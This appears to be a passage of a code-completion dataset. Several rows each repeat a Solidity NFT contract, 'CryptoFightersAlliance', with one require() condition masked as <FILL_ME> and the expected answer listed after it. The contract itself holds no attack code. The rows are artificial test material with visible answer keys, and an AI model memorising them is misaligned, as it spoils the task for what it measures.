/**
* @dev Returns true if the given token id can be refunded. Only occurs if the token id has not been
* refunded, hasn't been minted by the owner, hasn't been revoked and refund end time hasn't passed
*/
function canBeRefunded(uint256 tokenId) public view returns (bool) {
}
/**
* @dev Returns the timestamp from which refunds can no longer occur
*/
function getRefundGuaranteeEndTime() public view override returns (uint256) {
}
/**
* @dev Returns true if refund end time has not passed
*/
function isRefundGuaranteeActive() public view override returns (bool) {
}
/**
* @inheritdoc ERC2981
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC2981, ERC721A)
returns (bool)
{
}
/**
* @dev Withdraws the funds to the owner
*
* Requirements:
*
* - `refundEndTime` must have passed
*/
function withdraw() external onlyOwner {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setDefaultRoyalty(address receiver, uint96 feeNumerator)
external
onlyOwner
{
}
/**
* @dev Sets the royalty information for a specific token id, overriding the global default.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setTokenRoyalty(
uint256 tokenId,
address receiver,
uint96 feeNumerator
) external onlyOwner {
}
/**
* @dev Resets royalty information for the token id back to the global default.
*/
function resetTokenRoyalty(uint256 tokenId) external onlyOwner {
}
/**
* @dev Returns base uri
*/
function _baseURI() internal view override returns (string memory) {
}
/**
* @dev Sets crypto fighters potion address
*/
function setCryptoFightersPotionAddress(address _cryptoFightersPotion) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setMaxUserMintAmount(uint _maxUserMintAmount) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setRefundAddress(address _refundAddress) external onlyOwner {
}
/**
* @dev Sets merkle root for allowlist
*/
function setMerkleRoot(bytes32 _root) external onlyOwner {
}
/**
* @dev Sets base uri
*/
function setBaseURI(string memory uri) external onlyOwner {
}
/**
* @dev Toggles refund countdown of 45 days, called in constructor
*/
function toggleRefundCountdown() public onlyOwner {
}
/**
* @dev Toggles presale status (enables/disables)
*/
function togglePresaleStatus() external onlyOwner {
}
/**
* @dev Toggles public sale status (enables/disables)
*/
function togglePublicSaleStatus() external onlyOwner {
}
/**
* @dev Locks token metadata preventing future updates
*/
function lockMetadata() external onlyOwner {
}
/**
* @dev Returns keccak256 hash of encoded address
*/
function _leaf(address _account) internal pure returns (bytes32) {
}
/**
* @dev Returns true if valid proof is provided for _account belonging in merkle tree `_root`
*/
function _isAllowlisted(
address _account,
bytes32[] calldata _proof,
bytes32 _root
) internal pure returns (bool) {
}
}
|
!hasV1FighterBeenUpgraded[fighterId],"Upgraded"
| 141,649 |
!hasV1FighterBeenUpgraded[fighterId]
|
"Allowlist"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./IERC721R.sol";
import "./CryptoFightersPotion.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CryptoFightersAlliance is
IERC721R,
ERC721A,
ERC2981,
Ownable
{
uint256 public maxMintSupply = 8000; // Max mintable supply from presale, public sale, and owner
uint256 public constant mintPrice = 0.08 ether; // Mint price for presale and public sale
uint256 public constant mintPriceWithPotion = 0.04 ether; // Mint price for upgrading v1 fighter with potion
uint256 public maxUserMintAmount = 5; // Max mintable amount per user, includes presale and public sale
uint256 public mintedAmount; // Tracks minted amount excluding potion upgrades
// Sale Status
bool public publicSaleActive;
bool public presaleActive;
uint256 public refundEndTime; // Time from which refunds will no longer be valid
address public refundAddress; // Address which refunded NFTs will be sent to
bytes32 public merkleRoot; // Merkle root for presale participants
mapping(address => uint256) public numberMinted; // total user amount minted in public sale and presale
mapping(uint256 => bool) public hasRefunded; // users can search if the NFT has been refunded
mapping(uint256 => bool) public hasRevokedRefund; // users can revoke refund capability for e.g staking, airdrops
mapping(uint256 => bool) public isOwnerMint; // if the NFT was freely minted by owner
mapping(uint256 => bool) public hasV1FighterBeenUpgraded; // mapping storing v1 fighters that have been upgraded
mapping(uint256 => uint256) public v2ToV1Mapping; // mapping connecting v2 fighters to v1 fighters
bool public locked;
IERC721 public cryptoFightersV1;
CryptoFightersPotion public cryptoFightersPotion;
string private baseURI;
/**
* @dev triggered after owner withdraws funds
*/
event Withdrawal(address to, uint amount);
/**
* @dev triggered after owner switches the refund address
*/
event SetRefundAddress(address refundAddress);
/**
* @dev triggered after the owner sets the allowlist merkle root
*/
event SetMerkleRoot(bytes32 root);
/**
* @dev triggered after the owner sets the base uri
*/
event SetBaseUri(string uri);
/**
* @dev triggered after the refund countdown begins
*/
event ToggleRefundCountdown(uint refundEndTime);
/**
* @dev triggered after the presale status in enabled/disabled
*/
event TogglePresaleStatus(bool presaleStatus);
/**
* @dev triggered after the public sale status in enabled/disabled
*/
event TogglePublicSaleStatus(bool publicSaleStatus);
/**
* @dev Constructor that is used to set state variables and toggle refund countdown
*/
constructor(address _cryptoFightersV1, address _cryptoFightersPotion)
ERC721A("CryptoFightersAlliance", "CFA")
{
}
/**
* @dev Allows users to upgrade their V1 Fighters with a potion
*
* Requirements:
*
* - Value sent must be correct
* - Caller must own the V1 Fighter they're upgrading
* - The V1 Fighter must not have been upgraded already
* - The caller must have enough potions to burn
*/
function upgradeV1FightersWithPotion(uint256[] calldata fighterIds)
external
payable
{
}
/**
* @dev Allows specific users to mint during presale
*
* Requirements:
*
* - Presale must be active
* - Value sent must be correct
* - Caller must be in allowlist
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mintPresale(uint256 quantity, bytes32[] calldata proof)
external
payable
{
require(presaleActive, "Not active");
require(msg.value == quantity * mintPrice, "Bad value");
require(<FILL_ME>)
require(
numberMinted[msg.sender] + quantity <= maxUserMintAmount,
"Max amount"
);
require(mintedAmount + quantity <= maxMintSupply, "Max supply");
numberMinted[msg.sender] += quantity;
mintedAmount += quantity;
_safeMint(msg.sender, quantity);
}
/**
* @dev Allows anyone to mint during public sale
*
* Requirements:
*
* - Caller cannot be contract
* - Public sale must be active
* - Value sent must be correct
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mint(uint256 quantity)
external
payable
{
}
/**
* @dev Allows owner to mint. NFTs minted by the owner cannot be refunded since they were not paid for.
*
* Requirements:
*
* - The caller must be the owner
* - Total number minted cannot be above max mint supply
*/
function ownerMint(address to, uint256 quantity) external onlyOwner {
}
/**
* @dev Refunds all tokenIds, sends them to refund address and sends caller corresponding ETH
*
* Requirements:
*
* - The caller must own all token ids
* - The token must be refundable - check `canBeRefunded`.
*/
function refund(uint256[] calldata tokenIds) external override {
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*
* Requirements:
*
* - `tokenIds` must be owned by caller
*/
function revokeRefund(uint256[] calldata tokenIds) external {
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*/
function getRefundPrice(uint256 tokenId) public view override returns (uint256) {
}
/**
* @dev Returns true if the given token id can be refunded. Only occurs if the token id has not been
* refunded, hasn't been minted by the owner, hasn't been revoked and refund end time hasn't passed
*/
function canBeRefunded(uint256 tokenId) public view returns (bool) {
}
/**
* @dev Returns the timestamp from which refunds can no longer occur
*/
function getRefundGuaranteeEndTime() public view override returns (uint256) {
}
/**
* @dev Returns true if refund end time has not passed
*/
function isRefundGuaranteeActive() public view override returns (bool) {
}
/**
* @inheritdoc ERC2981
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC2981, ERC721A)
returns (bool)
{
}
/**
* @dev Withdraws the funds to the owner
*
* Requirements:
*
* - `refundEndTime` must have passed
*/
function withdraw() external onlyOwner {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setDefaultRoyalty(address receiver, uint96 feeNumerator)
external
onlyOwner
{
}
/**
* @dev Sets the royalty information for a specific token id, overriding the global default.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setTokenRoyalty(
uint256 tokenId,
address receiver,
uint96 feeNumerator
) external onlyOwner {
}
/**
* @dev Resets royalty information for the token id back to the global default.
*/
function resetTokenRoyalty(uint256 tokenId) external onlyOwner {
}
/**
* @dev Returns base uri
*/
function _baseURI() internal view override returns (string memory) {
}
/**
* @dev Sets crypto fighters potion address
*/
function setCryptoFightersPotionAddress(address _cryptoFightersPotion) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setMaxUserMintAmount(uint _maxUserMintAmount) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setRefundAddress(address _refundAddress) external onlyOwner {
}
/**
* @dev Sets merkle root for allowlist
*/
function setMerkleRoot(bytes32 _root) external onlyOwner {
}
/**
* @dev Sets base uri
*/
function setBaseURI(string memory uri) external onlyOwner {
}
/**
* @dev Toggles refund countdown of 45 days, called in constructor
*/
function toggleRefundCountdown() public onlyOwner {
}
/**
* @dev Toggles presale status (enables/disables)
*/
function togglePresaleStatus() external onlyOwner {
}
/**
* @dev Toggles public sale status (enables/disables)
*/
function togglePublicSaleStatus() external onlyOwner {
}
/**
* @dev Locks token metadata preventing future updates
*/
function lockMetadata() external onlyOwner {
}
/**
* @dev Returns keccak256 hash of encoded address
*/
function _leaf(address _account) internal pure returns (bytes32) {
}
/**
* @dev Returns true if valid proof is provided for _account belonging in merkle tree `_root`
*/
function _isAllowlisted(
address _account,
bytes32[] calldata _proof,
bytes32 _root
) internal pure returns (bool) {
}
}
|
_isAllowlisted(msg.sender,proof,merkleRoot),"Allowlist"
| 141,649 |
_isAllowlisted(msg.sender,proof,merkleRoot)
|
"Max amount"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./IERC721R.sol";
import "./CryptoFightersPotion.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CryptoFightersAlliance is
IERC721R,
ERC721A,
ERC2981,
Ownable
{
uint256 public maxMintSupply = 8000; // Max mintable supply from presale, public sale, and owner
uint256 public constant mintPrice = 0.08 ether; // Mint price for presale and public sale
uint256 public constant mintPriceWithPotion = 0.04 ether; // Mint price for upgrading v1 fighter with potion
uint256 public maxUserMintAmount = 5; // Max mintable amount per user, includes presale and public sale
uint256 public mintedAmount; // Tracks minted amount excluding potion upgrades
// Sale Status
bool public publicSaleActive;
bool public presaleActive;
uint256 public refundEndTime; // Time from which refunds will no longer be valid
address public refundAddress; // Address which refunded NFTs will be sent to
bytes32 public merkleRoot; // Merkle root for presale participants
mapping(address => uint256) public numberMinted; // total user amount minted in public sale and presale
mapping(uint256 => bool) public hasRefunded; // users can search if the NFT has been refunded
mapping(uint256 => bool) public hasRevokedRefund; // users can revoke refund capability for e.g staking, airdrops
mapping(uint256 => bool) public isOwnerMint; // if the NFT was freely minted by owner
mapping(uint256 => bool) public hasV1FighterBeenUpgraded; // mapping storing v1 fighters that have been upgraded
mapping(uint256 => uint256) public v2ToV1Mapping; // mapping connecting v2 fighters to v1 fighters
bool public locked;
IERC721 public cryptoFightersV1;
CryptoFightersPotion public cryptoFightersPotion;
string private baseURI;
/**
* @dev triggered after owner withdraws funds
*/
event Withdrawal(address to, uint amount);
/**
* @dev triggered after owner switches the refund address
*/
event SetRefundAddress(address refundAddress);
/**
* @dev triggered after the owner sets the allowlist merkle root
*/
event SetMerkleRoot(bytes32 root);
/**
* @dev triggered after the owner sets the base uri
*/
event SetBaseUri(string uri);
/**
* @dev triggered after the refund countdown begins
*/
event ToggleRefundCountdown(uint refundEndTime);
/**
* @dev triggered after the presale status in enabled/disabled
*/
event TogglePresaleStatus(bool presaleStatus);
/**
* @dev triggered after the public sale status in enabled/disabled
*/
event TogglePublicSaleStatus(bool publicSaleStatus);
/**
* @dev Constructor that is used to set state variables and toggle refund countdown
*/
constructor(address _cryptoFightersV1, address _cryptoFightersPotion)
ERC721A("CryptoFightersAlliance", "CFA")
{
}
/**
* @dev Allows users to upgrade their V1 Fighters with a potion
*
* Requirements:
*
* - Value sent must be correct
* - Caller must own the V1 Fighter they're upgrading
* - The V1 Fighter must not have been upgraded already
* - The caller must have enough potions to burn
*/
function upgradeV1FightersWithPotion(uint256[] calldata fighterIds)
external
payable
{
}
/**
* @dev Allows specific users to mint during presale
*
* Requirements:
*
* - Presale must be active
* - Value sent must be correct
* - Caller must be in allowlist
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mintPresale(uint256 quantity, bytes32[] calldata proof)
external
payable
{
require(presaleActive, "Not active");
require(msg.value == quantity * mintPrice, "Bad value");
require(
_isAllowlisted(msg.sender, proof, merkleRoot),
"Allowlist"
);
require(<FILL_ME>)
require(mintedAmount + quantity <= maxMintSupply, "Max supply");
numberMinted[msg.sender] += quantity;
mintedAmount += quantity;
_safeMint(msg.sender, quantity);
}
/**
* @dev Allows anyone to mint during public sale
*
* Requirements:
*
* - Caller cannot be contract
* - Public sale must be active
* - Value sent must be correct
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mint(uint256 quantity)
external
payable
{
}
/**
* @dev Allows owner to mint. NFTs minted by the owner cannot be refunded since they were not paid for.
*
* Requirements:
*
* - The caller must be the owner
* - Total number minted cannot be above max mint supply
*/
function ownerMint(address to, uint256 quantity) external onlyOwner {
}
/**
* @dev Refunds all tokenIds, sends them to refund address and sends caller corresponding ETH
*
* Requirements:
*
* - The caller must own all token ids
* - The token must be refundable - check `canBeRefunded`.
*/
function refund(uint256[] calldata tokenIds) external override {
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*
* Requirements:
*
* - `tokenIds` must be owned by caller
*/
function revokeRefund(uint256[] calldata tokenIds) external {
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*/
function getRefundPrice(uint256 tokenId) public view override returns (uint256) {
}
/**
* @dev Returns true if the given token id can be refunded. Only occurs if the token id has not been
* refunded, hasn't been minted by the owner, hasn't been revoked and refund end time hasn't passed
*/
function canBeRefunded(uint256 tokenId) public view returns (bool) {
}
/**
* @dev Returns the timestamp from which refunds can no longer occur
*/
function getRefundGuaranteeEndTime() public view override returns (uint256) {
}
/**
* @dev Returns true if refund end time has not passed
*/
function isRefundGuaranteeActive() public view override returns (bool) {
}
/**
* @inheritdoc ERC2981
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC2981, ERC721A)
returns (bool)
{
}
/**
* @dev Withdraws the funds to the owner
*
* Requirements:
*
* - `refundEndTime` must have passed
*/
function withdraw() external onlyOwner {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setDefaultRoyalty(address receiver, uint96 feeNumerator)
external
onlyOwner
{
}
/**
* @dev Sets the royalty information for a specific token id, overriding the global default.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setTokenRoyalty(
uint256 tokenId,
address receiver,
uint96 feeNumerator
) external onlyOwner {
}
/**
* @dev Resets royalty information for the token id back to the global default.
*/
function resetTokenRoyalty(uint256 tokenId) external onlyOwner {
}
/**
* @dev Returns base uri
*/
function _baseURI() internal view override returns (string memory) {
}
/**
* @dev Sets crypto fighters potion address
*/
function setCryptoFightersPotionAddress(address _cryptoFightersPotion) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setMaxUserMintAmount(uint _maxUserMintAmount) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setRefundAddress(address _refundAddress) external onlyOwner {
}
/**
* @dev Sets merkle root for allowlist
*/
function setMerkleRoot(bytes32 _root) external onlyOwner {
}
/**
* @dev Sets base uri
*/
function setBaseURI(string memory uri) external onlyOwner {
}
/**
* @dev Toggles refund countdown of 45 days, called in constructor
*/
function toggleRefundCountdown() public onlyOwner {
}
/**
* @dev Toggles presale status (enables/disables)
*/
function togglePresaleStatus() external onlyOwner {
}
/**
* @dev Toggles public sale status (enables/disables)
*/
function togglePublicSaleStatus() external onlyOwner {
}
/**
* @dev Locks token metadata preventing future updates
*/
function lockMetadata() external onlyOwner {
}
/**
* @dev Returns keccak256 hash of encoded address
*/
function _leaf(address _account) internal pure returns (bytes32) {
}
/**
* @dev Returns true if valid proof is provided for _account belonging in merkle tree `_root`
*/
function _isAllowlisted(
address _account,
bytes32[] calldata _proof,
bytes32 _root
) internal pure returns (bool) {
}
}
|
numberMinted[msg.sender]+quantity<=maxUserMintAmount,"Max amount"
| 141,649 |
numberMinted[msg.sender]+quantity<=maxUserMintAmount
|
"Max supply"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./IERC721R.sol";
import "./CryptoFightersPotion.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CryptoFightersAlliance is
IERC721R,
ERC721A,
ERC2981,
Ownable
{
uint256 public maxMintSupply = 8000; // Max mintable supply from presale, public sale, and owner
uint256 public constant mintPrice = 0.08 ether; // Mint price for presale and public sale
uint256 public constant mintPriceWithPotion = 0.04 ether; // Mint price for upgrading v1 fighter with potion
uint256 public maxUserMintAmount = 5; // Max mintable amount per user, includes presale and public sale
uint256 public mintedAmount; // Tracks minted amount excluding potion upgrades
// Sale Status
bool public publicSaleActive;
bool public presaleActive;
uint256 public refundEndTime; // Time from which refunds will no longer be valid
address public refundAddress; // Address which refunded NFTs will be sent to
bytes32 public merkleRoot; // Merkle root for presale participants
mapping(address => uint256) public numberMinted; // total user amount minted in public sale and presale
mapping(uint256 => bool) public hasRefunded; // users can search if the NFT has been refunded
mapping(uint256 => bool) public hasRevokedRefund; // users can revoke refund capability for e.g staking, airdrops
mapping(uint256 => bool) public isOwnerMint; // if the NFT was freely minted by owner
mapping(uint256 => bool) public hasV1FighterBeenUpgraded; // mapping storing v1 fighters that have been upgraded
mapping(uint256 => uint256) public v2ToV1Mapping; // mapping connecting v2 fighters to v1 fighters
bool public locked;
IERC721 public cryptoFightersV1;
CryptoFightersPotion public cryptoFightersPotion;
string private baseURI;
/**
* @dev triggered after owner withdraws funds
*/
event Withdrawal(address to, uint amount);
/**
* @dev triggered after owner switches the refund address
*/
event SetRefundAddress(address refundAddress);
/**
* @dev triggered after the owner sets the allowlist merkle root
*/
event SetMerkleRoot(bytes32 root);
/**
* @dev triggered after the owner sets the base uri
*/
event SetBaseUri(string uri);
/**
* @dev triggered after the refund countdown begins
*/
event ToggleRefundCountdown(uint refundEndTime);
/**
* @dev triggered after the presale status in enabled/disabled
*/
event TogglePresaleStatus(bool presaleStatus);
/**
* @dev triggered after the public sale status in enabled/disabled
*/
event TogglePublicSaleStatus(bool publicSaleStatus);
/**
* @dev Constructor that is used to set state variables and toggle refund countdown
*/
constructor(address _cryptoFightersV1, address _cryptoFightersPotion)
ERC721A("CryptoFightersAlliance", "CFA")
{
}
/**
* @dev Allows users to upgrade their V1 Fighters with a potion
*
* Requirements:
*
* - Value sent must be correct
* - Caller must own the V1 Fighter they're upgrading
* - The V1 Fighter must not have been upgraded already
* - The caller must have enough potions to burn
*/
function upgradeV1FightersWithPotion(uint256[] calldata fighterIds)
external
payable
{
}
/**
* @dev Allows specific users to mint during presale
*
* Requirements:
*
* - Presale must be active
* - Value sent must be correct
* - Caller must be in allowlist
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mintPresale(uint256 quantity, bytes32[] calldata proof)
external
payable
{
require(presaleActive, "Not active");
require(msg.value == quantity * mintPrice, "Bad value");
require(
_isAllowlisted(msg.sender, proof, merkleRoot),
"Allowlist"
);
require(
numberMinted[msg.sender] + quantity <= maxUserMintAmount,
"Max amount"
);
require(<FILL_ME>)
numberMinted[msg.sender] += quantity;
mintedAmount += quantity;
_safeMint(msg.sender, quantity);
}
/**
* @dev Allows anyone to mint during public sale
*
* Requirements:
*
* - Caller cannot be contract
* - Public sale must be active
* - Value sent must be correct
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mint(uint256 quantity)
external
payable
{
}
/**
* @dev Allows owner to mint. NFTs minted by the owner cannot be refunded since they were not paid for.
*
* Requirements:
*
* - The caller must be the owner
* - Total number minted cannot be above max mint supply
*/
function ownerMint(address to, uint256 quantity) external onlyOwner {
}
/**
* @dev Refunds all tokenIds, sends them to refund address and sends caller corresponding ETH
*
* Requirements:
*
* - The caller must own all token ids
* - The token must be refundable - check `canBeRefunded`.
*/
function refund(uint256[] calldata tokenIds) external override {
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*
* Requirements:
*
* - `tokenIds` must be owned by caller
*/
function revokeRefund(uint256[] calldata tokenIds) external {
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*/
function getRefundPrice(uint256 tokenId) public view override returns (uint256) {
}
/**
* @dev Returns true if the given token id can be refunded. Only occurs if the token id has not been
* refunded, hasn't been minted by the owner, hasn't been revoked and refund end time hasn't passed
*/
function canBeRefunded(uint256 tokenId) public view returns (bool) {
}
/**
* @dev Returns the timestamp from which refunds can no longer occur
*/
function getRefundGuaranteeEndTime() public view override returns (uint256) {
}
/**
* @dev Returns true if refund end time has not passed
*/
function isRefundGuaranteeActive() public view override returns (bool) {
}
/**
* @inheritdoc ERC2981
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC2981, ERC721A)
returns (bool)
{
}
/**
* @dev Withdraws the funds to the owner
*
* Requirements:
*
* - `refundEndTime` must have passed
*/
function withdraw() external onlyOwner {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setDefaultRoyalty(address receiver, uint96 feeNumerator)
external
onlyOwner
{
}
/**
* @dev Sets the royalty information for a specific token id, overriding the global default.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setTokenRoyalty(
uint256 tokenId,
address receiver,
uint96 feeNumerator
) external onlyOwner {
}
/**
* @dev Resets royalty information for the token id back to the global default.
*/
function resetTokenRoyalty(uint256 tokenId) external onlyOwner {
}
/**
* @dev Returns base uri
*/
function _baseURI() internal view override returns (string memory) {
}
/**
* @dev Sets crypto fighters potion address
*/
function setCryptoFightersPotionAddress(address _cryptoFightersPotion) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setMaxUserMintAmount(uint _maxUserMintAmount) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setRefundAddress(address _refundAddress) external onlyOwner {
}
/**
* @dev Sets merkle root for allowlist
*/
function setMerkleRoot(bytes32 _root) external onlyOwner {
}
/**
* @dev Sets base uri
*/
function setBaseURI(string memory uri) external onlyOwner {
}
/**
* @dev Toggles refund countdown of 45 days, called in constructor
*/
function toggleRefundCountdown() public onlyOwner {
}
/**
* @dev Toggles presale status (enables/disables)
*/
function togglePresaleStatus() external onlyOwner {
}
/**
* @dev Toggles public sale status (enables/disables)
*/
function togglePublicSaleStatus() external onlyOwner {
}
/**
* @dev Locks token metadata preventing future updates
*/
function lockMetadata() external onlyOwner {
}
/**
* @dev Returns keccak256 hash of encoded address
*/
function _leaf(address _account) internal pure returns (bytes32) {
}
/**
* @dev Returns true if valid proof is provided for _account belonging in merkle tree `_root`
*/
function _isAllowlisted(
address _account,
bytes32[] calldata _proof,
bytes32 _root
) internal pure returns (bool) {
}
}
|
mintedAmount+quantity<=maxMintSupply,"Max supply"
| 141,649 |
mintedAmount+quantity<=maxMintSupply
|
"Expired"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./IERC721R.sol";
import "./CryptoFightersPotion.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CryptoFightersAlliance is
IERC721R,
ERC721A,
ERC2981,
Ownable
{
uint256 public maxMintSupply = 8000; // Max mintable supply from presale, public sale, and owner
uint256 public constant mintPrice = 0.08 ether; // Mint price for presale and public sale
uint256 public constant mintPriceWithPotion = 0.04 ether; // Mint price for upgrading v1 fighter with potion
uint256 public maxUserMintAmount = 5; // Max mintable amount per user, includes presale and public sale
uint256 public mintedAmount; // Tracks minted amount excluding potion upgrades
// Sale Status
bool public publicSaleActive;
bool public presaleActive;
uint256 public refundEndTime; // Time from which refunds will no longer be valid
address public refundAddress; // Address which refunded NFTs will be sent to
bytes32 public merkleRoot; // Merkle root for presale participants
mapping(address => uint256) public numberMinted; // total user amount minted in public sale and presale
mapping(uint256 => bool) public hasRefunded; // users can search if the NFT has been refunded
mapping(uint256 => bool) public hasRevokedRefund; // users can revoke refund capability for e.g staking, airdrops
mapping(uint256 => bool) public isOwnerMint; // if the NFT was freely minted by owner
mapping(uint256 => bool) public hasV1FighterBeenUpgraded; // mapping storing v1 fighters that have been upgraded
mapping(uint256 => uint256) public v2ToV1Mapping; // mapping connecting v2 fighters to v1 fighters
bool public locked;
IERC721 public cryptoFightersV1;
CryptoFightersPotion public cryptoFightersPotion;
string private baseURI;
/**
* @dev triggered after owner withdraws funds
*/
event Withdrawal(address to, uint amount);
/**
* @dev triggered after owner switches the refund address
*/
event SetRefundAddress(address refundAddress);
/**
* @dev triggered after the owner sets the allowlist merkle root
*/
event SetMerkleRoot(bytes32 root);
/**
* @dev triggered after the owner sets the base uri
*/
event SetBaseUri(string uri);
/**
* @dev triggered after the refund countdown begins
*/
event ToggleRefundCountdown(uint refundEndTime);
/**
* @dev triggered after the presale status in enabled/disabled
*/
event TogglePresaleStatus(bool presaleStatus);
/**
* @dev triggered after the public sale status in enabled/disabled
*/
event TogglePublicSaleStatus(bool publicSaleStatus);
/**
* @dev Constructor that is used to set state variables and toggle refund countdown
*/
constructor(address _cryptoFightersV1, address _cryptoFightersPotion)
ERC721A("CryptoFightersAlliance", "CFA")
{
}
/**
* @dev Allows users to upgrade their V1 Fighters with a potion
*
* Requirements:
*
* - Value sent must be correct
* - Caller must own the V1 Fighter they're upgrading
* - The V1 Fighter must not have been upgraded already
* - The caller must have enough potions to burn
*/
function upgradeV1FightersWithPotion(uint256[] calldata fighterIds)
external
payable
{
}
/**
* @dev Allows specific users to mint during presale
*
* Requirements:
*
* - Presale must be active
* - Value sent must be correct
* - Caller must be in allowlist
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mintPresale(uint256 quantity, bytes32[] calldata proof)
external
payable
{
}
/**
* @dev Allows anyone to mint during public sale
*
* Requirements:
*
* - Caller cannot be contract
* - Public sale must be active
* - Value sent must be correct
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mint(uint256 quantity)
external
payable
{
}
/**
* @dev Allows owner to mint. NFTs minted by the owner cannot be refunded since they were not paid for.
*
* Requirements:
*
* - The caller must be the owner
* - Total number minted cannot be above max mint supply
*/
function ownerMint(address to, uint256 quantity) external onlyOwner {
}
/**
* @dev Refunds all tokenIds, sends them to refund address and sends caller corresponding ETH
*
* Requirements:
*
* - The caller must own all token ids
* - The token must be refundable - check `canBeRefunded`.
*/
function refund(uint256[] calldata tokenIds) external override {
require(<FILL_ME>)
uint256 refundAmount = 0;
for (uint256 i = 0; i < tokenIds.length; i++) {
uint256 tokenId = tokenIds[i];
require(msg.sender == ownerOf(tokenId), "Not owner");
require(!hasRevokedRefund[tokenId], "Revoked");
require(!hasRefunded[tokenId], "Refunded");
require(
!isOwnerMint[tokenId],
"Owner mint"
);
hasRefunded[tokenId] = true;
transferFrom(msg.sender, refundAddress, tokenId);
uint256 tokenAmount = getRefundPrice(tokenId);
refundAmount += tokenAmount;
emit Refund(msg.sender, tokenId, tokenAmount);
}
Address.sendValue(payable(msg.sender), refundAmount);
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*
* Requirements:
*
* - `tokenIds` must be owned by caller
*/
function revokeRefund(uint256[] calldata tokenIds) external {
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*/
function getRefundPrice(uint256 tokenId) public view override returns (uint256) {
}
/**
* @dev Returns true if the given token id can be refunded. Only occurs if the token id has not been
* refunded, hasn't been minted by the owner, hasn't been revoked and refund end time hasn't passed
*/
function canBeRefunded(uint256 tokenId) public view returns (bool) {
}
/**
* @dev Returns the timestamp from which refunds can no longer occur
*/
function getRefundGuaranteeEndTime() public view override returns (uint256) {
}
/**
* @dev Returns true if refund end time has not passed
*/
function isRefundGuaranteeActive() public view override returns (bool) {
}
/**
* @inheritdoc ERC2981
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC2981, ERC721A)
returns (bool)
{
}
/**
* @dev Withdraws the funds to the owner
*
* Requirements:
*
* - `refundEndTime` must have passed
*/
function withdraw() external onlyOwner {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setDefaultRoyalty(address receiver, uint96 feeNumerator)
external
onlyOwner
{
}
/**
* @dev Sets the royalty information for a specific token id, overriding the global default.
*
* Requirements:
*
